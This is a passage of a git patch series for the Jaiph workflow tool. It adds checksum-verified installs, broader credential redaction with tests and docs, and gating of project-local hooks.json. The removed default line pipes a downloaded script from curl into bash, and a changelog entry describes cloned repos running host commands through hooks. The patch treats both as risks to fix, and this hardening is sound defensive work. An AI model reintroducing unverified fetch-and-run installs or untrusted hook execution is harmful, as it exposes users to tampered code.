requires a non-empty version or 'nightly'\n"); return 1; } - const installCommand = process.env.JAIPH_INSTALL_COMMAND ?? "curl -fsSL https://jaiph.org/install | bash"; process.stdout.write(`Reinstalling Jaiph from ref '${ref}'...\n`); + + // An explicit JAIPH_INSTALL_COMMAND is an operator override (forks, offline + // bundles, local scripts) and runs as-is. The default path verifies the + // fetched install script before executing it. + const installCommand = process.env.JAIPH_INSTALL_COMMAND; + if (!installCommand) { + return runVerifiedInstall(ref); + } const result = spawnSync("bash", ["-c", installCommand], { stdio: "inherit", env: { ...process.env, JAIPH_REPO_REF: ref }, From 2da46ad66b145dce72fbfdd9f1edef5a11d01a13 Mon Sep 17 00:00:00 2001 From: Jakub Dzikowski Date: Fri, 31 Jul 2026 16:07:24 +0200 Subject: [PATCH 24/86] Feat: broaden and canonicalise credential redaction redactCredentials fired only for env keys ending in one of four suffixes (_API_KEY / _TOKEN / _SECRET / _API_TOKEN), silently missing common secret names such as AWS_SECRET_ACCESS_KEY, STRIPE_SECRET_KEY, DB_PASSWORD, PASSPHRASE, and SSH_PRIVATE_KEY, and it replaced only the exact literal value above an 8-character floor, so base64/hex/URL-encoded copies and short secrets slipped through. isCredentialKey now flags any key whose name (case-insensitive) contains SECRET, PASSWORD, PASSPHRASE, TOKEN, PRIVATE_KEY, ACCESS_KEY, API_KEY, or CREDENTIAL, or ends in _PAT / _DSN; the value floor drops to 4; and each matched value plus its base64, base64url, hex, and URL-encoded forms are replaced with [REDACTED] (longest form first). The shared helper feeds the journal, OTLP, Sentry, GET /v1/runs/{id}/events, and a failed call's result_text, so every surface tightens at once. Literal-substring replacement is documented as an explicit non-guarantee. Adds redact.test.ts and a /events STRIPE_SECRET_KEY assertion in server.test.ts. (Finding M-5, ASI-06, MEDIUM, confidence 0.85.) Co-Authored-By: Claude Opus 4.8 (1M context) --- CHANGELOG.md | 3 + QUEUE.md | 16 ------ docs/architecture.md | 6 +- docs/serve.md | 4 +- src/cli/serve/server.test.ts | 43 ++++++++++++++ src/runtime/kernel/redact.test.ts | 93 +++++++++++++++++++++++++++++++ src/runtime/kernel/redact.ts | 85 +++++++++++++++++++++++++--- 7 files changed, 222 insertions(+), 28 deletions(-) create mode 100644 src/runtime/kernel/redact.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 61d0c9d2..3f5e57dd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,9 +12,12 @@ - **A `sub`-less OIDC token no longer collapses onto one shared identity:** the OIDC principal is the token `sub`, falling back to `client_id` for machine tokens (OAuth2 client-credentials) that omit `sub`, and a verified token carrying neither claim is rejected with `401` instead of authenticating as a shared `unknown` principal. Two machine callers on the same issuer can no longer share one run-visibility bucket or idempotency namespace, so neither can list, read, or cancel the other's runs. - **Project-local `.jaiph/hooks.json` no longer runs on the host without a workspace-trust decision:** hook commands run in the host CLI process, before and outside any Docker sandbox, so a `/.jaiph/hooks.json` that arrives with a cloned or untrusted repository is now gated behind the operator opt-in `JAIPH_TRUST_PROJECT_HOOKS=1`. Absent the opt-in, `jaiph run`, `jaiph serve`, and `jaiph mcp` ignore the project file with a one-line stderr notice, so a cloned repo cannot execute arbitrary host commands on `workflow_start`. The global `~/.jaiph/hooks.json` is the operator's own and always runs. - **Release install and the runtime image now verify every download instead of failing open:** the binary installer requires a valid minisign signature, so on a normal host a missing `minisign` aborts the install rather than degrading to checksum-only, an empty `JAIPH_MINISIGN_PUBLIC_KEY` fails closed, and only a CI host or `JAIPH_ALLOW_UNSIGNED=1` proceeds on checksum alone. The `jaiph run`, `jaiph init`, and `jaiph use` bootstraps fetch `docs/install` and its published `install.sha256`, verify the two match, and refuse to run a tampered script instead of piping `curl … | bash`. Every toolchain fetch in `runtime/Dockerfile` now goes through `runtime/fetch-verify.sh` with a required, pinned SHA-256, so a poisoned toolchain CDN fails the build. +- **Credential redaction now covers many more secret names and their encoded forms:** the run journal and every surface that reads it back (`GET /v1/runs/{id}/events`, the OTLP export, the Sentry export, and a failed call's returned `result_text`) redact the value of any env var whose name looks like a credential, which now includes names the earlier four-suffix rule missed such as `AWS_SECRET_ACCESS_KEY`, `STRIPE_SECRET_KEY`, `DB_PASSWORD`, `PASSPHRASE`, and `SSH_PRIVATE_KEY`, and each value is redacted in its base64, hex, and URL-encoded forms as well as its raw form. Redaction still works by literal-substring replacement, so a secret transformed some other way, such as split across output chunks or embedded inside an opaque connection string, is not guaranteed to be caught, and the raw per-step capture files stay sensitive. ## All changes +- **Security — broaden and canonicalise credential redaction (finding M-5):** `redactCredentials` (`src/runtime/kernel/redact.ts`) fired only for env keys ending in one of four suffixes (`_API_KEY` / `_TOKEN` / `_SECRET` / `_API_TOKEN`), so it silently missed common secret names such as `AWS_SECRET_ACCESS_KEY` (ends `_ACCESS_KEY`), `AWS_ACCESS_KEY_ID`, `STRIPE_SECRET_KEY`, `DB_PASSWORD`, `PASSPHRASE`, `SSH_PRIVATE_KEY`, and `SERVICE_CREDENTIALS`; even a matched value was replaced only in its exact literal form with an 8-character floor, so a base64, hex, URL-encoded, or JSON-escaped copy, a value split across chunks, or a short secret slipped through. `isCredentialKey` now flags a key whose name (case-insensitive) contains one of the substrings `SECRET`, `PASSWORD`, `PASSPHRASE`, `TOKEN`, `PRIVATE_KEY`, `ACCESS_KEY`, `API_KEY`, or `CREDENTIAL`, or ends in `_PAT` / `_DSN`; the value floor drops from 8 to 4 characters; and for each matched value the raw value plus its base64, base64url, hex, and URL-encoded re-encodings are all replaced with `[REDACTED]` (longest form first, so a padded base64 form is replaced before its unpadded prefix). The same shared helper feeds the durable `run_summary.jsonl` journal (`RuntimeEventEmitter`), the OTLP export (`otlp.ts`), the Sentry export (`sentry.ts`), `GET /v1/runs/{id}/events` (`handler.ts`), and a failed call's returned `result_text` (`composeResult`, `src/cli/exec/call.ts`), so broadening the rule tightens every surface at once. Redaction remains literal-substring replacement of the value and those encodings, now documented as an explicit non-guarantee: a secret split across two output chunks, JSON-string-escaped, gzipped, re-chunked, or embedded as the password inside an opaque connection string (e.g. a `DATABASE_URL`, whose key name does not itself look like a credential) is **not** guaranteed to be redacted, so the raw per-step capture files and the run directory as a whole stay sensitive. Tests: `src/runtime/kernel/redact.test.ts` (each broadened key — `AWS_SECRET_ACCESS_KEY`, `AWS_ACCESS_KEY_ID`, `STRIPE_SECRET_KEY`, `DB_PASSWORD`, `PASSPHRASE`, `SSH_PRIVATE_KEY`, `SERVICE_CREDENTIALS` — is detected, a base64-encoded secret and a 4-char secret are redacted, hex and URL-encoded forms are caught, and ordinary keys such as `PATH` and `PATTERN` are left alone) and `src/cli/serve/server.test.ts` (a `STRIPE_SECRET_KEY` value the old four-suffix rule missed, written through the real `RuntimeEventEmitter`, is served as `[REDACTED]` on the `/events` path). Docs: the rewritten [Secret redaction](docs/architecture.md#secret-redaction) section of Architecture, and the broadened rule plus the non-guarantee in [Serve workflows over HTTP](docs/serve.md). (Security review, ASI-06, MEDIUM, confidence 0.85.) + - **Security — make release-install and runtime-image toolchain verification fail-closed (finding M-11):** the binary installer (`docs/install`, `docs/install.ps1`) verified the detached minisign signature only when `minisign` was on `PATH` and otherwise warned and continued on checksum only, and the checksum arrives over the same channel as the binary, so a default host with no `minisign` had no independent defense; an explicitly empty `JAIPH_MINISIGN_PUBLIC_KEY` silently skipped verification. The installer now reads the key with `${VAR-default}` so only an unset variable falls back to the bundled key, treats an empty value as a fail-closed misconfiguration, and requires `minisign` on a normal host, so a missing binary aborts unless `CI` is set or the operator opts into a checksum-only install with `JAIPH_ALLOW_UNSIGNED=1`. The `jaiph run` / `jaiph init` bootstraps (`docs/run`, `docs/init`) and `jaiph use` (`src/cli/commands/use.ts`) no longer pipe `curl … | bash`: they download `docs/install` and its published `docs/install.sha256`, compare them, and run the script only on a match, so a tampered bootstrap script is rejected; `JAIPH_SITE` overrides the base URL and an explicit `JAIPH_INSTALL_COMMAND` stays a verbatim operator override. Every remote toolchain fetch in `runtime/Dockerfile` now goes through the new `runtime/fetch-verify.sh`, which requires a non-empty pinned SHA-256 and runs `sha256sum -c`, and the installer-script and per-architecture binary ARGs (`UV_INSTALL_SHA256`, `RUSTUP_INIT_SHA256`, `BUN_INSTALL_SHA256`, `CURSOR_INSTALL_SHA256`, `GO_SHA256_*`, `YQ_SHA256_*`, `KUBECTL_SHA256_*`, `AWSCLI_SHA256_*`, `TASK_SHA256_*`) default to the pinned hashes, so an empty or mismatched checksum fails the build instead of installing unverified bytes. Tests: `src/cli/commands/use.test.ts` (the default path verifies the fetched script and aborts on a mismatched or missing checksum, and an explicit `JAIPH_INSTALL_COMMAND` still runs verbatim), `integration/release-workflow.test.ts`, `e2e/tests/06_bootstrap_integrity.sh` (a tampered or unpublished install script is rejected and the committed `install.sha256` is pinned to `docs/install`), `e2e/tests/07_installer_binary.sh` (an empty key and a missing `minisign` on a non-CI host fail closed, and `JAIPH_ALLOW_UNSIGNED=1` opts back into checksum-only), and `e2e/tests/09_dockerfile_fetch_verify.sh` (an empty or mismatched toolchain checksum fails, and every Dockerfile fetch routes through the helper with a non-empty pin). Docs: the fail-closed signature policy in [Verify the release signature](docs/setup.md#verify-the-release-signature), the verified-bootstrap note on [CLI — `jaiph use`](docs/cli.md#jaiph-use), the new `JAIPH_SITE`, `JAIPH_MINISIGN_PUBLIC_KEY`, and `JAIPH_ALLOW_UNSIGNED` rows plus the rewritten `JAIPH_INSTALL_COMMAND` row in [Environment variables](docs/env-vars.md), the release-signing and Dockerfile-toolchain notes in [Contributing](docs/contributing.md#release-signing), the switch-versions note in [Install & switch versions](docs/setup.md), and the install-verification note in the [README](README.md). - **Security — gate the project-local `.jaiph/hooks.json` behind a workspace-trust opt-in (finding M-10):** `loadMergedHooks` (`src/cli/run/hooks.ts`) loaded `/.jaiph/hooks.json` and merged it with the global `~/.jaiph/hooks.json` unconditionally, and both `runWorkflow` (`src/cli/commands/run.ts`) and `loadGeneration` (`src/cli/shared/generation.ts`) registered those commands to run in the host CLI process via `spawn(resolveShell(), ["-c", cmd], …)` (`runHooksForEvent`), before and outside any Docker sandbox. A user who cloned a shared repo and ran any workflow — `jaiph run flow.jh`, or a `jaiph serve` / `jaiph mcp` call — executed the repo's `.jaiph/hooks.json` host commands on `workflow_start` with no confirmation, allowlist, or trust prompt. `loadMergedHooks` now takes a `trustProjectHooks` argument, and the callers pass the new exported `isProjectHooksTrusted(process.env)`, which is true only for `JAIPH_TRUST_PROJECT_HOOKS=1` or `=true`. Absent the opt-in, a present-and-non-empty project file is ignored (its commands never load) and the CLI writes a one-line stderr notice naming the path and the opt-in; the global file is unaffected either way and still runs, including when an untrusted project file names the same event. `JAIPH_TRUST_PROJECT_HOOKS` is read from the host env only and is added to `RESERVED_ENV_KEYS` (`src/env-reserved.ts`), so a `.jh` file cannot name it via `--env` / `trusted_envs` and the file cannot trust itself. Tests: `src/cli/run/hooks.test.ts` (`loadMergedHooks` loads the project file only when trusted, ignores it when untrusted, keeps the global file under an untrusted workspace, and `isProjectHooksTrusted` honours only `1` / `true`) and `integration/exec-policy.test.ts` (an untrusted workspace runs no project hook and prints the notice, while the trusted path still dispatches all four events on `jaiph run`, `jaiph serve`, and `jaiph mcp`). Docs: [`JAIPH_TRUST_PROJECT_HOOKS`](docs/env-vars.md), the workspace-trust section in [Add a hook](docs/hooks.md), the hooks bullet in [Sandboxing](docs/sandboxing.md), and the reserved-key list on [CLI — `--env`](docs/cli.md). diff --git a/QUEUE.md b/QUEUE.md index eca12fae..31b43735 100644 --- a/QUEUE.md +++ b/QUEUE.md @@ -14,22 +14,6 @@ Process rules: *** -## Broaden and canonicalise credential redaction #dev-ready - -Context: ASI-06, MEDIUM, confidence 0.85. Finding M-5 — redaction misses common secret names and is literal-substring only. - -Problem: `redactCredentials` fires only for env keys ending in one of four suffixes (`CREDENTIAL_KEY_SUFFIXES = ["_API_KEY","_TOKEN","_SECRET","_API_TOKEN"]`, `redact.ts:9`, `:11-14`), so it silently misses `AWS_SECRET_ACCESS_KEY` (ends `_ACCESS_KEY`), `AWS_ACCESS_KEY_ID`, `*_SECRET_KEY`/`STRIPE_SECRET_KEY`, `*_PASSWORD`/`PASSWORD`, `PASSPHRASE`, `*_PRIVATE_KEY`, `*_CREDENTIALS`, and password-bearing `DATABASE_URL`. Even for matched keys it is an exact-literal substring replace with a `< 8` char floor (`:17-24`), so base64/URL-encoding/hex/JSON-escaping or a secret split across chunks evades it, and short secrets are never redacted. The same `redactCredentials` feeds the journal, OTLP (`otlp.ts`), Sentry (`sentry.ts`), and `/v1/runs/{id}/events` (`handler.ts`) — exactly where operators are told to expect `[REDACTED]`. - -Location: `src/runtime/kernel/redact.ts:9`, `:11-14`, `:17-24`. - -Remediation: Broaden detection well beyond four suffixes (`_ACCESS_KEY`, `_SECRET_KEY`, `PASSWORD`, `PASSPHRASE`, `PRIVATE_KEY`, `CREDENTIAL(S)`, `_PAT`, `_DSN`, and substring `SECRET`/`PASSWORD`/`TOKEN`), add canonicalisation passes for base64/hex/url-encoded forms of known values, drop or lower the 8-char floor, and document the literal-substring limit as an explicit non-guarantee. - -### Acceptance criteria -- `isCredentialKey` matches `AWS_SECRET_ACCESS_KEY`, `AWS_ACCESS_KEY_ID`, `STRIPE_SECRET_KEY`, `DB_PASSWORD`, `PASSPHRASE`, `SSH_PRIVATE_KEY`, and `SERVICE_CREDENTIALS`; a test asserts each is detected. -- A base64-encoded form of a known secret value is redacted in output; a test asserts the encoded form is caught. -- The 8-char floor is removed or lowered so short secrets are redacted; a test asserts a short known secret is redacted. -- Redaction improvements apply uniformly across journal, OTLP, Sentry, and `/events`; a test asserts a newly-detected secret is redacted on at least the `/events` path. - ## Self-host Swagger UI for `jaiph serve` (no CDN) #dev-ready Context: Feature — `/docs` already serves a Swagger UI shell, but it loads `swagger-ui-dist` from a pinned CDN with SRI (`src/cli/serve/docs.ts`). Air-gapped and hardened deployments get a blank page; only `/openapi.json` remains usable offline. The serve design doc deferred embedding (~1.5 MB) until air-gapped demand; that demand is now explicit. diff --git a/docs/architecture.md b/docs/architecture.md index caf6de54..c0a4265e 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -171,7 +171,7 @@ Every line written to `run_summary.jsonl` by `RuntimeEventEmitter` carries a `pr #### Secret redaction -Before `RuntimeEventEmitter` writes an event line to `run_summary.jsonl`, it redacts the values of credential environment variables. A credential environment variable is a key whose name ends (case-insensitive) in `_API_KEY`, `_TOKEN`, `_SECRET`, or `_API_TOKEN`, and whose value is at least 8 characters. Each matching value is replaced with `[REDACTED]` wherever it appears in: +Before `RuntimeEventEmitter` writes an event line to `run_summary.jsonl`, it redacts the values of credential environment variables. A credential environment variable is a key whose name (case-insensitive) either contains one of the substrings `SECRET`, `PASSWORD`, `PASSPHRASE`, `TOKEN`, `PRIVATE_KEY`, `ACCESS_KEY`, `API_KEY`, `CREDENTIAL` or ends in `_PAT` / `_DSN`, and whose value is at least 4 characters. Substring (not just suffix) matching is deliberate: it catches `AWS_SECRET_ACCESS_KEY`, `AWS_ACCESS_KEY_ID`, `STRIPE_SECRET_KEY`, `DB_PASSWORD`, `PASSPHRASE`, `SSH_PRIVATE_KEY`, and `SERVICE_CREDENTIALS`, which the earlier four-suffix rule (`_API_KEY` / `_TOKEN` / `_SECRET` / `_API_TOKEN`) silently missed. For each matching value, both the raw value and its base64 / base64url / hex / URL-encoded re-encodings are replaced with `[REDACTED]` wherever they appear in: - the reconstructed prompt body (`prompt_text`) and the resolved values of `${var}` references persisted alongside it (`emitPromptStepStart`), - the `preview` field of `PROMPT_START` / `PROMPT_END` events (`emitPromptEvent`), @@ -179,9 +179,9 @@ Before `RuntimeEventEmitter` writes an event line to `run_summary.jsonl`, it red The rule covers backend API keys such as `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `CURSOR_API_KEY` (the same names on the [Docker env allowlist](sandboxing.md)). -The same credential rule lives in one shared helper, **`redactCredentials`** (`src/runtime/kernel/redact.ts`). The helper is also the redaction boundary for returned call results. `composeResult` (`src/cli/exec/call.ts`) redacts a failed call's diagnostic capture (the failed-step detail, the raw stderr and stdout, and the collected `log` messages) before it becomes `jaiph serve`'s `result_text` or a `jaiph mcp` tool result. A successful workflow's return value is intentional API output rather than diagnostic capture, so it is returned verbatim. +The same credential rule lives in one shared helper, **`redactCredentials`** (`src/runtime/kernel/redact.ts`). The helper is also the redaction boundary for returned call results. `composeResult` (`src/cli/exec/call.ts`) redacts a failed call's diagnostic capture (the failed-step detail, the raw stderr and stdout, and the collected `log` messages) before it becomes `jaiph serve`'s `result_text` or a `jaiph mcp` tool result. A successful workflow's return value is intentional API output rather than diagnostic capture, so it is returned verbatim. The journal that `redactCredentials` produces is what the OTLP export (`otlp.ts`), the Sentry export (`sentry.ts`), and `GET /v1/runs/{id}/events` (`handler.ts`) read back verbatim, so broadening the rule tightens all four surfaces at once. -Beyond those two boundaries (journal copies and returned call results), redaction is not applied. The per-step raw capture files (`%06d-.out` / `.err`) are streamed to disk verbatim and are not redacted. Treat them, and the run directory as a whole, as sensitive. +**Explicit non-guarantee.** Redaction is literal-substring replacement of the value and the base64 / base64url / hex / URL-encoded encodings listed above. A secret transformed some other way — split across two output chunks, JSON-string-escaped, gzipped, re-chunked, or embedded as the password inside an opaque connection string (e.g. a `DATABASE_URL`, whose key name does not itself look like a credential) — is **not** guaranteed to be redacted. Beyond the two redaction boundaries (journal copies and returned call results), redaction is not applied at all: the per-step raw capture files (`%06d-.out` / `.err`) are streamed to disk verbatim. Treat them, and the run directory as a whole, as sensitive. ## Channels and hooks in context diff --git a/docs/serve.md b/docs/serve.md index 5c8f48e1..2acbf686 100644 --- a/docs/serve.md +++ b/docs/serve.md @@ -50,7 +50,7 @@ curl -s -X POST 'http://127.0.0.1:5247/v1/workflows/greet/runs?wait=true' \ The run object has these fields: `run_id`, `workflow`, `status`, `started_at`, `ended_at`, `exit_status`, `signal`, `result_text`, `run_dir`, `principal`, and `correlation_id`. `principal` is the audit subject that created the run, which is `anonymous` in the open loopback default and `operator` under a static token. `correlation_id` is the request id, taken from an `X-Correlation-Id` or `X-Request-Id` header, or a generated UUID. See [Authenticate and authorize](#7-authenticate-and-authorize) for both. A run reconstructed after a restart can carry `null` for either field. -`result_text` is the same content an MCP client sees, which is the workflow's `return` value or its failure narrative. A failure narrative is credential-redacted the same way as the event journal, so values of `*_API_KEY`, `*_TOKEN`, and `*_SECRET` env vars become `[REDACTED]`. The `return` value of a successful run is intended API output, so it is returned verbatim. +`result_text` is the same content an MCP client sees, which is the workflow's `return` value or its failure narrative. A failure narrative is credential-redacted the same way as the event journal, so the value of any env var whose name looks like a credential becomes `[REDACTED]`. The rule now covers many common secret names, e.g. `*_API_KEY`, `*_SECRET`, `*_PASSWORD`, `AWS_SECRET_ACCESS_KEY`, and `*_PRIVATE_KEY`, and it also redacts the base64, hex, and URL-encoded forms of each value. See [Architecture — Secret redaction](architecture.md#secret-redaction) for the full rule and its limits. The `return` value of a successful run is intended API output, so it is returned verbatim. A workflow failure is not an HTTP error. A failed run comes back `200` or `202` with `status: "failed"` and a `run dir:` pointer in `result_text`. Poll `GET /v1/runs/{id}` for an async run. List runs with `GET /v1/runs`, which returns them newest first and paginated. `?limit=` defaults to 100 and is clamped to 1000, and `?offset=` skips that many records. The listing response carries `{runs, total, limit, offset}`. Stop a run with `POST /v1/runs/{id}/cancel`. @@ -71,7 +71,7 @@ Each SSE message is a `data:` line that carries one raw journal line, such as `W The default snapshot mode verifies the run's keyed integrity chain before it returns the body. When the chain does not verify, because the journal was rewritten, truncated, or forged, the snapshot request fails with `409 E_TAMPERED` and serves no timeline. A run with no persisted key, such as an older run written before the chain was keyed, cannot be verified and is never blocked. See [Architecture — Keyed hash chain](architecture.md#hash-chain) for the format and for how the key stays out of the workflow. -> **Security.** The journal is served verbatim, so the only redaction is the one `jaiph` applies when it writes the journal. Values of `*_API_KEY`, `*_TOKEN`, and `*_SECRET` env vars become `[REDACTED]`. The raw per-step capture files (`NNNNNN-*.out` and `.err`) are never exposed by any endpoint. Only the redacted journal and the files a workflow publishes are reachable over HTTP. +> **Security.** The journal is served verbatim, so the only redaction is the one `jaiph` applies when it writes the journal. The value of any env var whose name looks like a credential becomes `[REDACTED]`, along with its base64, hex, and URL-encoded forms (see [Architecture — Secret redaction](architecture.md#secret-redaction)). Redaction is literal-substring replacement, so it does not catch a secret that has been transformed some other way, such as split across output chunks or embedded inside an opaque connection string. The raw per-step capture files (`NNNNNN-*.out` and `.err`) are never exposed by any endpoint. Only the redacted journal and the files a workflow publishes are reachable over HTTP. ## 5. Download a run's artifacts diff --git a/src/cli/serve/server.test.ts b/src/cli/serve/server.test.ts index a0069196..e98fe1e4 100644 --- a/src/cli/serve/server.test.ts +++ b/src/cli/serve/server.test.ts @@ -10,6 +10,7 @@ import { join } from "node:path"; import { createHttpServer, listen, readBody } from "./server"; import { ServeHandler } from "./handler"; import { CHAIN_GENESIS, chainHmac, writeChainKey } from "../../runtime/kernel/emit"; +import { RuntimeEventEmitter } from "../../runtime/kernel/runtime-event-emitter"; import type { McpToolSpec } from "../mcp/tools"; import type { WorkflowCallResult } from "../exec/call"; @@ -168,6 +169,48 @@ test("GET /v1/runs/{id}/events hard-fails (409) on a tampered journal, streams a } }); +// AC4 (Broaden credential redaction): a newly-detected credential — a key the +// original four-suffix rule missed — is served as [REDACTED] on the /events +// path. The journal is written through the real RuntimeEventEmitter so this +// exercises the production redaction boundary end-to-end, not a hand-built line. +test("GET /v1/runs/{id}/events serves a newly-detected credential as [REDACTED]", async () => { + const runDir = mkdtempSync(join(tmpdir(), "jaiph-srv-redact-")); + const secret = "sk_live_super_secret_value_123"; + const prevSummaryFile = process.env.JAIPH_RUN_SUMMARY_FILE; + try { + process.env.JAIPH_RUN_SUMMARY_FILE = join(runDir, "run_summary.jsonl"); + const emitter = new RuntimeEventEmitter({ + runId: "run-redact", + runDir, + // STRIPE_SECRET_KEY ends in _KEY, not one of the original four suffixes. + env: { STRIPE_SECRET_KEY: secret }, + getFrameStack: () => [], + getAsyncIndices: () => [], + suppressLiveEvents: true, + }); + emitter.emitStep({ type: "STEP_END", out_content: `token leaked: ${secret}`, err_content: "" }); + + const handler = makeHandler(async () => ({ text: "ok", isError: false, exitStatus: 0, runDir })); + const server = createHttpServer(handler, () => {}); + const port = await listen(server, "127.0.0.1", 0); + try { + const create = await fetch(`http://127.0.0.1:${port}/v1/workflows/ping/runs?wait=true`, { method: "POST" }); + const runId = ((await create.json()) as { run_id: string }).run_id; + const res = await fetch(`http://127.0.0.1:${port}/v1/runs/${runId}/events`); + assert.equal(res.status, 200); + const body = await res.text(); + assert.ok(!body.includes(secret), "the secret must not appear in the served journal"); + assert.match(body, /\[REDACTED\]/, "the redaction marker must be present on the /events path"); + } finally { + await closeServer(server); + } + } finally { + if (prevSummaryFile === undefined) delete process.env.JAIPH_RUN_SUMMARY_FILE; + else process.env.JAIPH_RUN_SUMMARY_FILE = prevSummaryFile; + rmSync(runDir, { recursive: true, force: true }); + } +}); + test("an artifact download round-trips byte-identically through a real socket with content-length", async () => { // A deterministic non-trivial payload, bigger than one stream chunk. const payload = Buffer.alloc(1024 * 1024); diff --git a/src/runtime/kernel/redact.test.ts b/src/runtime/kernel/redact.test.ts new file mode 100644 index 00000000..693264f9 --- /dev/null +++ b/src/runtime/kernel/redact.test.ts @@ -0,0 +1,93 @@ +import { describe, it } from "node:test"; +import * as assert from "node:assert/strict"; +import { isCredentialKey, redactCredentials } from "./redact"; + +describe("isCredentialKey", () => { + // AC1: detection is broadened well beyond the original four suffixes. + const detected = [ + "AWS_SECRET_ACCESS_KEY", + "AWS_ACCESS_KEY_ID", + "STRIPE_SECRET_KEY", + "DB_PASSWORD", + "PASSPHRASE", + "SSH_PRIVATE_KEY", + "SERVICE_CREDENTIALS", + // Original four suffixes still match. + "ANTHROPIC_API_KEY", + "GITHUB_TOKEN", + "SOME_SECRET", + "OPENAI_API_TOKEN", + // Short whole-key suffixes. + "GITHUB_PAT", + "SENTRY_DSN", + ]; + for (const key of detected) { + it(`detects ${key}`, () => { + assert.equal(isCredentialKey(key), true); + }); + } + + it("is case-insensitive", () => { + assert.equal(isCredentialKey("db_password"), true); + }); + + // Ordinary keys stay untouched; short suffix markers only match at the end. + const notDetected = ["HOME", "PATH", "USER", "JAIPH_SOURCE_FILE", "NODE_ENV", "PATTERN"]; + for (const key of notDetected) { + it(`does not flag ${key}`, () => { + assert.equal(isCredentialKey(key), false); + }); + } +}); + +describe("redactCredentials", () => { + it("redacts a raw credential value", () => { + const env = { STRIPE_SECRET_KEY: "sk_live_abcdef123456" }; + assert.equal( + redactCredentials("key is sk_live_abcdef123456 done", env), + "key is [REDACTED] done", + ); + }); + + // AC2: a base64-encoded form of a known secret is caught. + it("redacts the base64-encoded form of a known secret", () => { + const secret = "sk_live_abcdef123456"; + const env = { STRIPE_SECRET_KEY: secret }; + const encoded = Buffer.from(secret, "utf8").toString("base64"); + const out = redactCredentials(`payload=${encoded}`, env); + assert.ok(!out.includes(encoded), "base64 form should be redacted"); + assert.equal(out, "payload=[REDACTED]"); + }); + + it("redacts hex and url-encoded forms of a known secret", () => { + const secret = "p@ss word/with+special"; + const env = { DB_PASSWORD: secret }; + const hex = Buffer.from(secret, "utf8").toString("hex"); + const url = encodeURIComponent(secret); + const out = redactCredentials(`h=${hex} u=${url}`, env); + assert.ok(!out.includes(hex), "hex form should be redacted"); + assert.ok(!out.includes(url), "url-encoded form should be redacted"); + }); + + // AC3: the 8-char floor is lowered so short secrets are redacted. + it("redacts a short known secret (below the old 8-char floor)", () => { + const env = { DB_PASSWORD: "s3cr" }; // 4 chars — the old floor was 8. + assert.equal(redactCredentials("pw=s3cr!", env), "pw=[REDACTED]!"); + }); + + it("does not redact values of non-credential keys", () => { + const env = { GREETING: "hello world" }; + assert.equal(redactCredentials("say hello world", env), "say hello world"); + }); + + it("ignores values below the minimum length floor", () => { + const env = { DB_PASSWORD: "ab" }; + assert.equal(redactCredentials("ab cd ab", env), "ab cd ab"); + }); + + it("redacts a value detected only by a broadened key (STRIPE_SECRET_KEY)", () => { + // STRIPE_SECRET_KEY ends in _KEY, missed by the original four-suffix rule. + const env = { STRIPE_SECRET_KEY: "topsecretvalue" }; + assert.equal(redactCredentials("v=topsecretvalue", env), "v=[REDACTED]"); + }); +}); diff --git a/src/runtime/kernel/redact.ts b/src/runtime/kernel/redact.ts index 7253b28c..5861d7b5 100644 --- a/src/runtime/kernel/redact.ts +++ b/src/runtime/kernel/redact.ts @@ -1,24 +1,95 @@ /** * Credential redaction shared by every surface that persists or returns * workflow output: the durable `run_summary.jsonl` writes in - * `RuntimeEventEmitter`, and the call-result text composed for `jaiph serve` - * and `jaiph mcp` (`src/cli/exec/call.ts`). One definition of "credential" - * keeps the journal, HTTP, and MCP surfaces in agreement. + * `RuntimeEventEmitter` — which the OTLP export (`otlp.ts`), the Sentry export + * (`sentry.ts`), and `GET /v1/runs/{id}/events` (`handler.ts`) all read back + * verbatim — and the call-result text composed for `jaiph serve` and + * `jaiph mcp` (`src/cli/exec/call.ts`). One definition of "credential" keeps the + * journal, telemetry, HTTP, and MCP surfaces in agreement. + * + * Detection is name-based: a value is redacted only when its env key looks like + * a credential (`isCredentialKey`). For each such value we redact the raw value + * and its common re-encodings (base64, base64url, hex, URL-encoded), so a secret + * that has been transported through one of those canonical forms is still caught. + * + * Explicit non-guarantee: redaction is literal-substring replacement of the + * value and the known encodings above. A secret that is transformed some other + * way — split across output chunks, JSON-string-escaped, gzipped, re-chunked, or + * embedded as the password inside an opaque connection string (e.g. a + * `DATABASE_URL`, whose key name does not itself look like a credential) — is + * NOT guaranteed to be redacted. Treat the raw per-step capture files, and the + * run directory as a whole, as sensitive regardless. */ -const CREDENTIAL_KEY_SUFFIXES = ["_API_KEY", "_TOKEN", "_SECRET", "_API_TOKEN"] as const; +// Case-insensitive substrings that mark a key as credential-bearing. Substring +// (not suffix) matching is deliberate: it catches `AWS_SECRET_ACCESS_KEY`, +// `AWS_ACCESS_KEY_ID`, `STRIPE_SECRET_KEY`, `SSH_PRIVATE_KEY`, and +// `SERVICE_CREDENTIALS` that a suffix rule misses. +const CREDENTIAL_KEY_SUBSTRINGS = [ + "SECRET", + "PASSWORD", + "PASSPHRASE", + "TOKEN", + "PRIVATE_KEY", + "ACCESS_KEY", + "API_KEY", + "CREDENTIAL", +] as const; + +// Short markers that would over-match as substrings (`PATH` contains `PAT`), so +// they only count as credential-bearing at the end of the key. +const CREDENTIAL_KEY_SUFFIXES = ["_PAT", "_DSN"] as const; + +/** + * Minimum credential value length to redact. Lowered from the original 8 so + * short secrets are covered; a small floor still avoids turning 1-3 char values + * (which collide with ordinary output tokens) into blanket redaction. + */ +const MIN_CREDENTIAL_VALUE_LEN = 4; export function isCredentialKey(key: string): boolean { const upper = key.toUpperCase(); + if (CREDENTIAL_KEY_SUBSTRINGS.some((s) => upper.includes(s))) return true; return CREDENTIAL_KEY_SUFFIXES.some((s) => upper.endsWith(s)); } -/** Replace each credential env value (≥8 chars) found in `text` with [REDACTED]. */ +/** + * Every canonical re-encoding of a secret value we scan for, longest-first so a + * padded base64 form is replaced before its unpadded base64url prefix. Forms + * shorter than the floor are dropped (short encodings collide with plain text). + */ +function credentialForms(value: string): string[] { + const buf = Buffer.from(value, "utf8"); + const forms = [ + value, + buf.toString("base64"), + buf.toString("base64url"), + buf.toString("hex"), + encodeURIComponent(value), + ]; + const seen = new Set(); + const out: string[] = []; + for (const f of forms) { + if (f.length < MIN_CREDENTIAL_VALUE_LEN || seen.has(f)) continue; + seen.add(f); + out.push(f); + } + out.sort((a, b) => b.length - a.length); + return out; +} + +/** + * Replace each credential env value found in `text` — 